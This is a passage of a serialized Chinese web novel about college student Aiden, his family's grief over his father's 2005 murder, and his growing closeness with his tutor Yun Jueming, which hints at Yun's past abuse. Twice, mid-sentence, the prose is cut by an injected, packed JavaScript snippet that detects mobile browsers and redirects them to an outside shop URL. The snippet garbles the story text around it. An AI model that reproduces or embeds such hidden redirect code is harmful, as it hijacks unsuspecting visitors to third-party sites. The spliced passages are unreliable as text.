云决明沉默了半天,才说出这么一句话。艾登觉得奶奶恐怕跟自己一样,都一直吊着一口气,等他话说完了才吐出来。 “艾登的确亲了我,不过那只是因为一个愚蠢的游戏,他不得不那么做而已。艾莉把这件事说出来,只是觉得好玩而已。” “艾莉这孩子有时做事确实不知轻重,”奶奶的话与其说是责备,听上去倒更像是在回护。艾登身子前倾,小心翼翼地伸头偷眼望去,只见她正抚着云决明瘦弱的肩膀,“你莫与她计较。我会跟她谈谈的。” 云决明扭过头去。今晚云疏天清,蔼蔼幽蓝压着落霜,夜雾起在树梢,昏黄了一切。艾登分不清是灯还是月照在他脸上,虽说只勉强能看出一点轮廓,却让他想到奶奶画的山水。 “我相信艾莉没有恶意的。这不是什么大不了的事情,您说艾莉就跟您从前一样叛逆,我担心说教她反而会起反效果。” 也许是因为奶奶坦诚了自己过往故事的缘故,此时的云决明也跟着放松了不少,话也稍微多了些,眉眼清亮亮的,像夏日尽头藏不住的萤火虫。 “别担心,明仔,我说的话,她还是听得进去几句的。”奶奶对这一点颇为自豪,语气里带着一点笑意。 艾登看不真切,但他总觉得云决明也跟着微笑了起来。 “您今晚吃饭的时候跟我说,我是艾登第一个带回家里的朋友,让我觉得很惊讶。艾登在学校很受欢迎,我以为他每个周末都会带朋友回家来玩呢。” 云决明会主动说出这种话,让艾登觉得有些奇怪。 换做别人,即便他在FBI实习的那两个夏天的确学到了很多非常有用的识人之术,也不敢在认识仅仅两个星期后,就直接下这种结论。 但云决明不同。 如姓氏般,他的确像是一团云——若说起来,云也不过就是一群凝结的水汽。飘在锅灶上方,便是呛鼻油烟,飘在烟囱上,便是染煤飞灰,飘在落日间,便是秋水共长天一色;放在云决明这儿,便是临下雪前,灰天远蓝淡淡抹上一道的霞边。要琢磨,要抓紧的时候,就吹散了,只有不经意间回头一望,才能窥到全貌。 艾登知道一条接一条的短信不会使他不快,关注他Instagram账户给他带来的几百追随者不会令他困扰,发布合照并把他圈出也不会让他恼火,如今也知道说出这种话不符合他的性格。然而这些结论的得出全凭直觉,细细去琢磨推断也能得出同样的结果,只是没了那么几分意味,像用浓墨重彩去描绘清冷绝景一般。 “艾登的确有很多朋友,但他从不带他们到家里来,就连生日也会特意去外面的餐厅过。他是个很注重隐私的孩子,更何况我和他爷爷都怕闹,今天下午你们在这儿放烟花炮竹,吵了一下午,我现在还头疼呢。他要是喜欢整天带一群狐朋狗友回来家里玩,早就被我撵出去住了。” “不好意思,奶奶,吵着您了。”云决明立刻道歉了。 “哎哟,一年其实也就这么一天,忍一忍就过去啦,不要放在心上。”奶奶握住了云决明的手,又用另一只手拍了拍。 “那艾莉呢。” 他极力让语气显得平淡寻常,但艾登的耳朵没被他瞒过去,云决明的确是在试探些什么。 奶奶没有立刻回答,艾登猜想她或许是在心中盘算云决明是不是喜欢上了自己的孙女——艾登倒不相信云决明会对艾莉有什么非分之想,几秒种后,奶奶似乎也得出了同样的结论。 “艾莉——她正好和艾登相反。她会邀请很多女孩来家里玩,尤其是生日的时候,每次一来就是十几二十个——艾登每逢此时都会被赶出去,免得抢了她的风头。但依我看,那些女孩没有一个是她的朋友,艾莉很孤僻,一直以来都是这样。” 奶奶难得的说了实话,看来她也觉得云决明是个值得信任的人。 “这……从表面倒是看不出来这一点。我以为,像她这样的女孩,在学校一般都很受欢迎,从来都不会缺真心想要跟她成为朋友的人。看来,还是您最了解她。” 云决明的语气小心翼翼的,似乎意有所指,但最后那句恭维可谓是说进了奶奶的心坎里。两个孙辈中,她最疼爱的就是艾莉,对她有求必应,还时常感慨要不是自己什么嫁妆都没带来,两手空空地嫁入维尔兰德家,艾莉这会就该有带不完的首饰金银了,不必另外去买那些样式庸俗的时尚品牌珠宝。 “艾莉这孩子很特别,”奶奶感慨道,“她从小想要的东西就和别的小女孩不一样,对自己的事情特别有主意——要学钢琴,要学舞蹈,要学画画,都是她很小的时候就做出的决定——理查德和毓臻都不是那种望子成龙,望女成凤的父母,不强求孩子一定要有什么特长——你看艾登,除了个橄榄球就什么都没学。” 艾登闻言撇了撇嘴,他除了运动以外没什么拿得出手的特长,从小已经被奶奶寒碜到大了。 只是,听见奶奶如今已经能这么平静地说出父亲的名字,他又不禁感到一阵心酸。 “艾莉一直都是这么一个早熟的女孩吗?” “也不是一直……”奶奶声音突然变得很轻,后半截艾登就连只言片语也没捕捉到,但从那之后长久的沉默来看,他也大概知道奶奶说了什么。 ——自从父亲死后才是。 艾登清楚地记得那天发生了什么。 2005年9月19日。 彼时暑气还未消散,那是极为炎热的一天。早上妈妈送他去学校的时候,艾登听见收音机里说明天会有一场大暴雨,那时他偏着头看向窗外,发觉天空果然阴沉沉的,找不到一丝云彩,也瞧不见一缕日边,乌色像一团打结了的颜料被随意地砸在天空上,让人觉得胸口也跟着闷闷郁结。 “妈妈,你明天出门一定要记得带伞噢。” 他像个小大人一样的念叨了一句,让妈妈笑了。趁着等红灯的时候,她亲了亲他的脑袋,“我会记得的,艾登,谢谢你。” 那时他好高兴。 接下来的一天与平常没有什么区别,只是他在储物柜里又发现了一封情书,署名是个他不认识的女孩。他拜托朋友打听到了对方是谁,然后写了张委婉的纸条让她知道自己正和数学课上的海莉在约会——其实他说不上对那个女孩有多少好感,只是对方确实长得可爱,相处起来也愉快,他便答应了让两人的关系更进一步。 下午一点半放学后,杰森的妈妈把他和杰森送去了训练场。然而,刚开始不久,就有一个替补球员中暑昏倒了——虽说艾登觉得那是因为对方太瘦弱,多半又没有好好补水的缘故,教练还是宣布中止了训练。艾登给妈妈打了电话,她答应提前下班来接他回家。 “那爸爸呢?”他在电话里问道,不明白为什么妈妈能离开工作,父亲却做不到。 “爸爸很忙,宝贝。好了,我马上就来,你在训练场乖乖等着,不要乱跑。” 妈妈很快就来了,只是艾莉也在车上。 “她怎么也在这?”他顿时觉得有些不愉快,带着妹妹就意味他们不能去出奇老鼠餐厅玩,或者去冰雪皇后吃雪糕了。 坐在加高座椅上的艾莉冲他做了个鬼脸,舌头拉得长长的,表情幸灾乐祸。 “我顺便也接上了艾莉,这样就不必麻烦爷爷再跑一趟了。”妈妈说道,一边帮艾登系上安全带,“而且,我想跟你聊一聊,甜心,”她扭头对艾莉说,“爸爸告诉我你们两个昨晚吵了一架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041191|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为他不肯给你买那辆自行车,而且你说了不少很伤爸爸感情的话。我希望你能给他打个电话,道个歉。” 艾莉不肯应答,她从小应对大人怒气的方式就是沉默,即便她自己生起气来也很冷静,艾登从没见过她因为愤怒而大吵大嚷的样子。 妈妈劝说了一路都未果,艾莉从头至尾只是在后座上抱着双臂,气哼哼地瞪着双眼。她很倔,这一点倒是从未变过。 如果时光能倒流,艾登相信他的妹妹会毫不犹豫地打出那通电话,告诉他们的父亲: “对不起,其实我很爱你。” 但世事没有早知道,后悔没有如果,遗憾也不可能重来。 他那天九点半就被妈妈赶去睡觉,迷迷糊糊快要睡着时,便听见楼下有谁响亮地敲着木门。“是爸爸回来了”他心中隐约想着,却忘了父亲有钥匙,其实不必敲门。就在他逐渐滑入梦乡之时,一声凄厉的尖叫让他自困意中吓醒。他慌张地冲下楼,发现妈妈在家门口昏了过去,爷爷正和门外的几个警察说着什么。他想要上前一步,却被奶奶拦住了。 清晰的记忆到这一刻便开始模糊,往后的碎片时常在梦中回演,让他分不清哪些细节真实发生过,哪些不过是他噩魇的呢喃——他最常梦到拦下年幼自己的是年长后的自己,二十几岁面容模糊的艾登回身抱住只有九岁的小男孩,怀抱温暖有力,随即便会露出狰狞的笑容,低声恶狠狠地在他耳边诉说:“你的父亲被谋杀了。” 是的,谋杀。 凶手在商场空旷的停车场里拦下了父亲,连捅了他十七刀,伤痕遍布全身,连脸上都有。举行葬礼时,妈妈不得不放弃了开馆瞻容这个环节,因为再好的尸体美容师也没法修复父亲的模样。 嫌疑犯很快就被逮捕了,是一位被父亲辞退的前员工,有酗酒和殴打妻子的前科。他给不出那天晚上的不在场证明,便被警察逮捕了。这个案子审判得很快,尽管凶器从未被找到,而犯人也一再上诉,坚称自己是无辜的,陪审团还是一致认为他有罪。不过,因为约州很早就废除了死刑,最后他被判决终身监|禁,不得假释。 艾登一直以为那就是正义,那就是答案。 “不过,也可能是我多心了。”奶奶伤感的声音又幽幽传来,艾登一下子挺直了身子,注意听着,“理查德去世的时候,艾莉还很小,她可能都已经不记得当时发生了什么事了。也许这两件事没什么联系,只是人总是喜欢把改变和这种悲痛联系起来而已。” “也许她其实记得。”云决明沉声说道。 “噢?”奶奶听上去很惊讶。 “我只是觉得……艾莉或许没有表面看起来那么坚强。您说人总是喜欢把改变和这种悲痛联系起来,但我确实觉得悲痛会让人改变,只是在艾莉身上,她当时年纪还太小,可能不少变化甚至都没能跟悲痛扯上关系,而是当成成长必然会带来的结果,以至于——以至于可能有一部分的痛苦被她埋在心里,至今都没能释放出来。” 云决明说得太快了,声音又小,艾登只勉强听到了七成。 “毓臻担心过会有这样事发生,”奶奶沉吟道,“她后来带着孩子们去看了心理医生——对方一直说艾莉适应得很好,似乎没有太多后遗症。” “但凡是伤痕,必然会留下疤痕,奶奶。而有些疤痕,是永远不会消失的,即便暂时被遮盖,也不能抹去它的存在,它背后所深含的痛苦。”他低声说出了一句古怪的话。 奶奶显然也意识到了这句话的不同寻常,她等了好一会,才平静地开口问道,“明仔,奶奶再问你一次,你有什么想跟我说的事情吗?” 远远地望去,云决明低下了头,他的两只手交织在一起,十指握得紧紧的,艾登觉得自己好似都看见了他青筋毕露的手背。 “你不想说,我不勉强。” 奶奶拍了拍他的肩膀。 “我只是很高兴看到你这么关心艾登和艾莉。” 云决明终于抬起眼来,月色在他的睫毛尖端落下一层温柔的光晕。 “我是艾登的朋友嘛。” 他带着一点笑意说出了这句话。 艾登只觉得自己的心被轻微撞了撞,好似第一片轻飘飘地落在大地上的雪花,无声地撼动了整个世界的季节。 “是的,你的确是,永远都会是。” 他悄声说道。 15. Chapter·fifteen 年三十的那个星期一过,就迎来了期中考试前的学习周。 U大向来是以压GPA出名的,教授们往往就靠加大考试的难度来拉开学生之间的分数差距。因此,这个星期,学校里的一切活动都被取消了,包括各种运动的训练及社团活动,好让学生专心为接下来的考试做准备。 这个时候,U大图书馆里的学生数量会急剧上升,多得能让密集恐惧症者当场病发身亡。由于需要提前半个月预约才能在学习周抢到一个自习卡座,因此图书馆过道和中厅里到处是直接抱着电脑席地而坐的学生——尤其以好学的印度人居多。 上个学期的期中考试学习周,云决明就体会了一次这种疯狂。他那时一踏进图书馆,就立刻掩着鼻子退了出去——热烘烘的暖气与体味交相辉映,发酵出了一种犹如烤臭袜子一般的气味,云决明当即落荒而逃,并决定再也不在学习周的期间接近图书馆的周围。 因此,在星期一的统计学课后,当艾登提议要不要一起去图书馆学习的时候,云决明马上拒绝了。 “你是怎么忍受得了那种气味的?”他收拾着书本,难以置信地问道。 “什么气味?”艾登莫名其妙,“我从来没去图书馆学习过——我只是以为你可能会比较喜欢那儿的气氛。” “气氛,不错。气味,就算了。”云决明穿好大衣,又背上书包,“相信我,你不会想要在这种时候去图书馆的。” “那我们可以在学校附近找个地方学习——你平时学习周的时候会去哪?” 云决明平时没课的时候的确喜欢去一个地方看书,一家距离学校不远的甜品店。 开店的是一对韩国夫妇,他们卖的糕点更符合亚洲人的口味,甜味适中,味道清爽,而且咖啡做的也很不错。由于店面装饰得非常可爱温馨,绝大多数顾客都是亚裔女孩,她们从不会主动跟男生坐在一桌。因此他在那儿学习很自在,也不担心受到打扰。 跟他相熟以后,老板还会主动给他的咖啡续杯,也是吸引他经常光顾的一点。 但不知怎么地,要跟艾登承认自己常去的是这么一个地方,他总觉得有点难为情。 “就……随便找个地方坐坐。”他含糊地回答了一句。从频频扭头打量他们的同学中挤了过去,这已经是他第二次和艾登肩并肩地离开教室了,但身边人仍然如同第一次瞧见时那样惊奇,而且依旧议论不断。 “告诉我嘛。”艾登几步抢到云决明面前,倒退着走着,一脸坏笑,“看你那一脸难为情的样子,肯定不是什么星巴克一类的地方,不会是成人音像馆吧?” “这年头还有没倒闭的成人音像馆吗?”云决明伸手推了推艾登的胳膊,示意他给一个踩着滑板的男生让路。和他一块走在学校的路上自然是惹人瞩目的,就连踩滑板的男生都惊讶地回望了他们好几眼。云决明很久没有得到这么多关注,他有些不习惯,倒也不到介意的程度。 “这年头还有没倒闭的睿侠电子产品店呢,只要认真去找,奇迹总会出现的,谁知道呢。”艾登耸了耸肩,偏着头对他眨了眨眼,“所以,你平常都去哪儿呢?” “那你呢?” “啊,用一个问题来回答另一个问题,Ming,你很狡猾嘛。我家离学校那么近,有空自然是直接回家学习了,还能吃到奶奶准备的小点心呢。不过,现在距离你下一堂课只有一个多小时的时间,这么短的时间,去我家肯定是不现实的。”末了,他又突然问了一句,“一起写作业的时间你总不会收费吧?” “当然不会。”他还不至于贪财到那个份上。 说着,他们已经走到了十字路口,从这儿直走五分钟,便能抵达那家甜品店;右拐是往停车场去的路;左拐则通向中心大道,那儿沿街开了许多咖啡厅和餐馆,还有两家书店,也是学习周热门的聚集地点。艾登左右看了看,干脆靠在了路灯柱子上,抱着双手冲云决明促狭一笑,一头浅棕发色在阳光下漾出一层暖暖的金色。 “所以,我们到底去哪?你不说,我们就没法继续走了。” 这儿没有红绿灯,学校里的车子看见有人要过马路,老远就会停下来。因此学生根本不必停下脚步,人流川流不息,脚步匆匆。艾登停在这里,着实惹人注目得紧——即便他不是学校里人尽皆识的四分卫,一个高大英俊的男孩不管往哪一站,又配上艾登那明朗中带点捉弄的笑容,都打眼得很。 “我们直走。”云决明板着脸回答道,“只是到目的地以后,你不许笑我。” 几分钟后,他推开了韩国甜品店的木门——招牌上写的是韩文,他看不懂什么意思,只好这么称呼。老板一见到他,便笑着招了招手,用不熟练的英文问道,“coffee,yes?” “是的,要两杯。”云决明点点头,他眼角余光瞥到了玻璃柜台里的栗子蛋糕,不禁舔了舔嘴唇——这家甜品店的栗子蛋糕细腻柔软,每一层蛋糕胚上都会抹上一层厚厚的栗子泥,辅佐以一点点爽口的奶油,外层则浇了一层夹杂坚果颗粒的焦糖酱。栗子泥没有加糖,只有天然的甜香,与焦糖结合在一起意外的奇妙,吃下去甜而不腻,与咖啡正是绝配。 因此这款蛋糕每次都卖得很快,今天他们来得早,但也只剩下一块了。 可他不好意思在艾登面前点。也许是因为对方是一个各方面而言都完全符合“真正的男子汉”定义的男人,稍稍有一点女性化的举止在他面前都会被无限放大,让自己显得很娘。云决明给钱以后,还没等老板问出“No cake today?”这句话,就忍痛带着艾登往店面后头的桌子走去。 “你为什么觉得我会嘲笑你?”落座以后,艾登好笑地看着他,指了指周围,“因为这家店看上去是一间女孩子喜欢光顾的店?因为这儿有鲜花?有摆放着小瓷像装饰的书架?有熏香机和轻音乐?拜托,我觉得这儿环境很好啊,很适合学习。” “我只是觉得……”云决明有点难为情,“你可能不想让别人看见你出现在这么一个地方。” “这有什么的,”艾登笑了起来,“难道男人就只能出现在酒吧,俱乐部,或者是快餐店吗?Ming,别被这些拘束了,你不管在什么地方,穿什么衣服,做什么事情,你都是你,不会有任何区别。如果谁因此就改变对你的看法,那是他们的问题,不是你的。比如我,哪怕就是穿着一条全世界最花哨的裙子,也照样能在赛场上取得胜利。” “咖啡好了!”老板喊了一声。 “我去拿。”艾登说道,话音落下时,他已经一溜烟跑到柜台那儿去了。 望着似乎正在与老板攀谈的背影好一会,云决明才发觉自己似乎一直面带微笑。艾登的那番话当然不可能立刻就转变他的想法,但仍然能让他觉得安心许多。 “你最喜欢的蛋糕,吃吧。”一个小碟子突然放在了他面前,手中还端着两杯咖啡的艾登坐了下来,就着其中一杯微饮了一口,“嗯,味道不错,比星巴克好多了。”他评价道,“怪不得你喜欢这里。” 云决明愕然地看着他。 “我之前就发现你在偷瞟这块蛋糕,望着它就像望着在机场正要永远分离的恋人一样,依依不舍的。”艾登挑了挑眉毛,“所以我刚刚去拿咖啡时问了一句,老板说这是你最喜欢的蛋糕,如果来了没买到还会很失望呢。” “你要吃一口吗?很好吃的。”云决明决定用实际行动堵住艾登接下来要说出的话,把叉子递了过去。 “不了,”艾登摆摆手,“我还在训练呢,教练严禁我们吃任何甜食。” “那我们就开始写作业吧,”云决明看了看手机,打定主意不让艾登有机会能挤眉弄眼地问自己为什么没点最喜欢的蛋糕,“时间不多了,一个小时以后我还有课呢。” 艾登只是轻笑了一声,倒没有多说什么,乖乖地从书包里掏出了纸笔。 “有什么不懂就问我。”云决明轻声说道,凯斯勒教授发下了一沓厚厚的题目,每一个知识点都有专门针对练习的一页,还在课堂上告诫大家:“要是有谁想在接下来的期中考试里拿到比及格更高的成绩,就得好好把这些练习做完。”不过,云决明只从里面挑出了几页他平时容易做错的题来练习,至于艾登,他恐怕就真的得把所有题目统统做完了。 几分钟后,艾登开口了。 “你春假有什么安排吗?” 期中考试过后,就是为期九天的春假,通常都是大学生旅游享乐的首选假期。云决明摇了摇头,“我没什么计划,只是需要参加荣誉协会为孤儿募捐而举行的慈善活动。”剩余的日子,他估计会一直待在家里,把英语文学鉴赏课上需要看的书都一口气读完,提前写好综述,分析,还有感想,之后便可以少一件需要担心的事情。 “我整个春假都得在佛罗里达度过——橄榄球训练。”艾登听上去很兴奋。 “不错。”云决明漫不经心地回了一句,任由艾登继续诉说着他对春假的向往。自顾自地继续读着笔下的应用题:如果降落伞没打开,声称这顶降落伞一定会打开的检查员到底犯了第一型还是第二型错误呢? “……到时候晚上还可以去迈阿密的沙滩上玩,我们去年已经去过一次了——让我告诉你,那里百分之八十的女生都不穿上衣——” 云决明倏地发觉自己的思维已经逐渐从统计学上飘移去,开始转向艾登对于迈阿密沙滩的描述——他心中的感觉有些奇怪,自从认识艾登以来,对方从没跟任何一个女孩有过互动,也没有跟任何女孩暧昧,但凡想要主动接近他的女孩,都被有礼地回绝了,就仿佛他的人生里只有橄榄球和学业一般。云决明好似已经习惯这样的艾登了。 然而,突如其来地,他又开始大谈自己和其他橄榄球队员在迈阿密的艳遇。尽管云决明知道男人之间分享这些再正常不过了,却免不了感到有些别扭,“我们继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041192|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续写作业吧。”他突兀地插了一句,“你要写的比我多多了,先专心在这件事上吧。” “好。”艾登有点惊讶,但没有反对。 又过了沉默的几分钟,倒是云决明忍不住开口了。 “你现在有约会对象吗?” “啊?”艾登抬起头,一脸不解。 “我家有个租客,也在U大念书,是个女孩。她很喜欢你,所以才叫我来问问。”对不起了,高谏琦。他在心中默默道歉。 “这倒没有。”艾登又低下头去,继续在计算器上输着数字,“自从和疏眠分手后,我就没有跟别的女生约会了。” 他的发音不是很准,云决明默默反复念了几次,才意识到他说的是副会长的名字。副会长叫黎疏眠。 “这就是……为什么你期盼着去佛罗里达的原因吗?” 他不知道自己为什么会那么问,也许只是想知道像艾登那样受女生欢迎的男生究竟是怎么看待感情与需求的。云决明自己的恋爱经历几乎约等于零,他离开中国时还太小,只跟一两个女生暧昧过——而那也只限于在课堂上传纸条,下课了偷偷在对方身边坐一会,放学了把对方送到车站去这种程度。等到了美国以后,他又太封闭,唯一可算得上喜欢过的女生也许只有高中时的那一个。 但最后,他们彼此的关系变得太复杂,连云决明自己都分不清那究竟是情愫,还是同病相怜带来的依赖。 “当然不是了,Ming,你把我当成什么人了?”艾登好笑地看着他,“我只是因为去年在那儿玩得很愉快,训练的成果很棒,也留下了很美好的回忆,才希望能快点跟着队员们一块过去而已——再说了,谁不期待度假呢?” 大概是那些在假期无事可做的人吧。云决明心想,仍有种闷闷不乐的感受压在他心头,憋得难受。 “如果你也想去佛罗里达玩的话,我可以替你支付所有的费用,”艾登开口了,“机票很便宜,这时候的酒店也不贵,加起来说不定还赶不上你两周的补习费用贵呢。我训练的时间表排的很满,可能晚上才能溜出来一起去派对。你白天可以在迈阿密四处逛逛,甚至是去迪士尼乐园——” “不了。”云决明坚决地拒绝了,一个人去佛罗里达度假,听上去比一个人待在家里看书还要糟糕得多,“我春假还有别的安排——除了慈善活动以外的安排。我得开始找一间公寓,有了你给的家教费用,我终于可以负担一个人在外面租房住了。” “找公寓?”艾登的双眼一下子亮了起来,“我也正打算搬出去住呢——这回连奶奶都开始催我了,看来是非搬不可了。我们可以当室友,你觉得怎么样?我不仅可以分担一半的房租和水电,你以后给我补习也很方便,不必再开一个多小时的车了。” 室友?艾登? 云决明犹豫了。 他原本的计划是找一间距离学校比较近的一室间,也就是每个月房租只要七百美金的那种廉价房屋。但要是把艾登也包括进来,恐怕他选择的范围就会直接一步扩大到“绝美湖景,依山傍水,保证隐私,枫叶山庄的三室四卫公寓为您带来极致的奢华享受”的那种高端房屋,一个月五千块恐怕都打不住,还有贵得吓人的物业管理费和停车费。 更不要说,今后艾登或许还会把他的约会对象带回家里来。 “让我找找吧。”他含糊地应付了一句,“还不知道有没有适合的呢。” “找找三室两卫左右的,”艾登似乎没有听出他话里的拒绝之意——或者是假装没有听出,已经开始兴致勃勃地计划了,“最好是上下两层,或者是独栋的那种。这样我要是想在客厅里看电影或者放点音乐,就不会吵着你了。还有,千万要挑选一个治安好的地区,相信我,这一点非常重要。噢,对了,还要确保他们允许饲养大型犬——洛克希肯定要跟着我一起搬走的。” 还有那只狗? 云决明突然觉得有点头痛。 然而,可能是艾登话语中的热忱感染了他,看着对方眉飞色舞,津津有味地描述着他们住在一起诸多好处——从他们可以开一辆车上下学节省油钱,说到他们可以相互给彼此补习,一起分享从超市买回的食物,再谈到云决明可能会是唯一一个艾登奶奶认可的室友,从而节约他不必要的寻找室友的过程——云决明说不出拒绝的话。 和艾登这样的人生活在一起,想必每天都会过的很开心吧? 也许即便加上一条一百多斤的狗,几个来去匆匆的女孩,还有偶尔狐朋狗友的拜访,都无法抹灭他能带来的温暖。 这个想法让他为之欢欣的同时,却也让他为之颤栗。 “好,我去找找。” 最后,他只听见自己这么轻声说道,只看见艾登脸上突然绽出灿烂的笑颜。 “相信我,Ming,”他的眼睛都跟着微微弯起,“你绝不会后悔的。” 但愿,艾登,但愿如此。 18. Chapter·Eighteen 一直到慈善活动结束,回到家中,云决明的心情都很好。吃晚饭时,就连母亲也罕见地注意到了这一点。 “今天发生什么事了?”她一边夹菜,一边问道。今天母亲做的是肉末烧豆腐和炒生菜,豆腐无味,青菜又太咸了,云决明只好每次都两个菜一起吃,才能稍微综合一点味道,“你看上去很开心,是跟女孩子出去约会了吗?” “……不是。” “你也别整天就知道在家学习,这样子在美国没有女孩子会喜欢你的。”母亲絮叨着,“诶,对了,你以前高中的那个女朋友呢——就是那个经常来我们家玩的女孩,叫什么,秦——秦什么来着?” “秦诗。”刹那间,舌尖只能品尝到苦涩的滋味,“她不是我的女朋友,妈,我跟你说了很多次了——” “你们不还一起去了高中的毕业舞会吗?这哪还不叫女朋友。你们从前走得可近了,她三天两头就要过来一趟,我还以为你们会一起去上U大呢。她后来好像去了西雅图大学,是不是?” “……我不清楚,妈。”一整天的好心情于此时荡然无存,云决明握着筷子的手在轻微颤抖,“我和秦诗自从高中毕业后就再也没有联系过了。” “我只是想问——” “我不想谈论这个话题了,妈。” 气氛陡然紧张起来,筷子停在半空中,妈妈神色古怪地瞪着他。这么些年了,纵使云决明心中有再多对母亲的恨,他也从未表现出来,只是自己默默承受着一切,忍受着身在异国他乡的寂寥;忍受着人生突然迎来的落差;忍受着半夜突然死死压在他脸上的手,以及喷在自己脸上恶臭的鼻息;忍受着自己最终一步步被磨得麻木不仁,最终紧紧将自己裹在黑暗的卵中。 所有他读过的心理学书籍和论文都教他试着去谅解她,试着让自己明白母亲所做的一切都是为了赋予自己更好的生活——在她的字典中的“更好的生活”。 云决明竭尽全力地做到了,这是他第一次失控。 裤袋里的手机突然震动了一下,随后又是一下。 是艾登,他这会应该刚回到酒店,洗完澡,正准备去吃晚饭,一般他都会在这时候给云决明发消息,讲讲这天发生了什么事,也问问他的一天如何。 想到这一点,让云决明冷静了不少。无形中,这个名字似乎赋予了他某种力量,让他得以对抗如洪流般袭来的回忆——毕业舞会;锁上的办公室门;痛苦的呜咽;辜负的信任;向上伸出的手;夺下的刀子;剪断的长发;触目惊心的疤痕;被当头浇下的芝士;无止境的嘲笑与排挤;紧握的十指……苍白的岁月无声地一帧帧倒流,直到云决明自己按下了暂停。至少如今我有朋友,他心想,至少在这一切结束以后,还有个人能陪我说话。 至少我还有艾登。 “没事,妈妈。”他深吸了一口气,“我只是——我和秦诗结束得不太愉快,所以我不是很想提起她,以后也别说了,好吗?” 他母亲似乎也松了一口气。 “那你怎么不早说,”她的语气略带了一点不耐烦,妈妈是不会承认自己的错误的,千不该万不该,总归是孩子先不对,“你早说我就不会提了。这也没什么,反正我不太喜欢秦诗那女孩,总给人一种很阴郁的感觉,也不爱叫人,身体似乎也很糟糕,大夏天的,那么热,还穿着长衣长裤。分了也好,这种人做妻子要不得的。” “妈!”云决明提高了一点声音。 “行了行了,不说了不说了。” 匆匆地扒了几口饭,云决明便声称自己吃饱了。他把碗筷泡在水槽里,喊了一句,“我一会再下来洗碗,先去洗个澡。”便三步并作两步地跑上了楼梯。从衣柜里随便拿了两件衣服,云决明迅速关上洗手间的门,反锁,接着在浴缸边上坐下,这才从口袋里掏出了手机。 “今天训练累死了,Ming,我现在全身上下每一块肌肉都疼痛得不行。看来教练是想让我们累得连出酒店一步都做不到,更别提出门去派对享乐了。我现在恨不得用眼神给你发信息,手机在我手上跟一块砖一样,重得不行。” “慈善活动怎么样?进行得还顺利吗?” 云决明伸手堵上了浴缸的塞子,旋开了热水水龙头。听着哗哗的水声,他倚靠着冰冷的瓷砖,拇指在屏幕上飞快地动着。 “活动很顺利,我们募集到了比计划还要更多的金额。”结束后,为了庆祝这一点,黎疏眠还给每个人都买了一杯奶昔,当然这件事就没必要放进短信里去了。 “另外,你早上跟我说,你觉得没意思,是什么意思?” 艾登的回信很快来了。 是一张边牧抬起爪子和自己主人碰拳的照片,上面写着“Good job,man!”。顶端显示对方还在输入中,因此云决明耐心地等着下一条信息的到来。 “我只是觉得不能再这么玩下去了,觉得这么做很没意思而已。” “我不明白。” 手机随即就猛地震动了起来,艾登的名字出现在屏幕上方,云决明猝不及防,差点让手机滑进浴缸里,好在及时抓住了,接通了电话。 “嘿,抱歉突然打过来,我实在太累了,不想打字。现在你方便说话吗?” 云决明望了一眼水龙头,“你能听见我这儿有什么声音吗?” “隐约能听见一点水声,你是在洗澡吗,Ming?” “嗯。”他应了一声,把手机放在装沐浴露的架子上,高度正好对着自己的嘴巴。水声能遮掩他与艾登的谈话,免得让母亲以为他在跟什么见不得人的对象打电话,以至于要躲到厕所里去。 他向母亲隐瞒了艾登的存在,那些艾登奶奶让他带回的点心,也被他推说是别的华人同学给他的,只字未提艾登的名字。母亲根本没把这件事放在心上,在她心中,云决明是个正常的孩子,既然是正常的,就必然会有朋友和同学,也会有人际交往。至于他们是谁,住在哪里,家世如何,母亲并不关心。 艾登是他一人独守的秘密。 “你想我一会再打过来吗,Ming?” “没事。”云决明凑近电话,轻声说道。雾气开始在狭隘的浴室中弥漫,他慢慢脱掉了毛衣,“你说吧。” “也没什么。怎么说呢,就是瞧见了队员和女孩子们胡闹的模样,突然觉得我不能这么继续下去了而已。” “为什么?”他扯住袜尖,微一用力,随即两只黑色袜子便被丢进脏衣篓,双脚踩在浴缸前的地毯上。与白得耀眼的陶瓷一比较,他的脚面似乎泛起了一点淡淡的青色。云决明弯腰把一根线头从脚趾间揪掉,触指与指触皆是冰凉。 “之前,我和疏眠分手的时候,她跟我说了挺多——大都是讲我对此前所有的感情,包括与她的这一段,都不投入,对女生只有喜欢和好奇,不会更进一步。其实,如果要说起来的话,这对美国人来说,还挺常见的。我身边的队友有不少人都换了二三十个女朋友,但从来没有对任何一个说过‘我爱你’这种字眼。只是,后来疏眠跟我描述了她渴望得到的爱情是什么样的,老实说,我还挺心动的。” 云决明想起了今天副会长对爱上一个人会有的感觉的描述,如果那跟她和艾登讲述的差不多,怪不得他会想要。 “嗯。”他只是低低地应了一声,手指滑过大腿,褪去了牛仔裤和内裤,皮带哐当一声落在瓷砖上,声音听起来像一句古怪的嘲笑。 云决明曾经很讨厌自己的腿,应该说直到一分钟以前都很讨厌。它们瘦弱,苍白,没有任何力量,而且还被某个人当成一种少年特有的病态美感欣赏过——这只让厌恶感如猛然被针扎的指头上的血一般,越发源源不断涌出。然而,此时,被温暖蒸汽包裹的一刻,听见艾登懒洋洋的声音在电话另一头响起,每次脱穿衣服都必然会激起的鸡皮疙瘩竟然偃 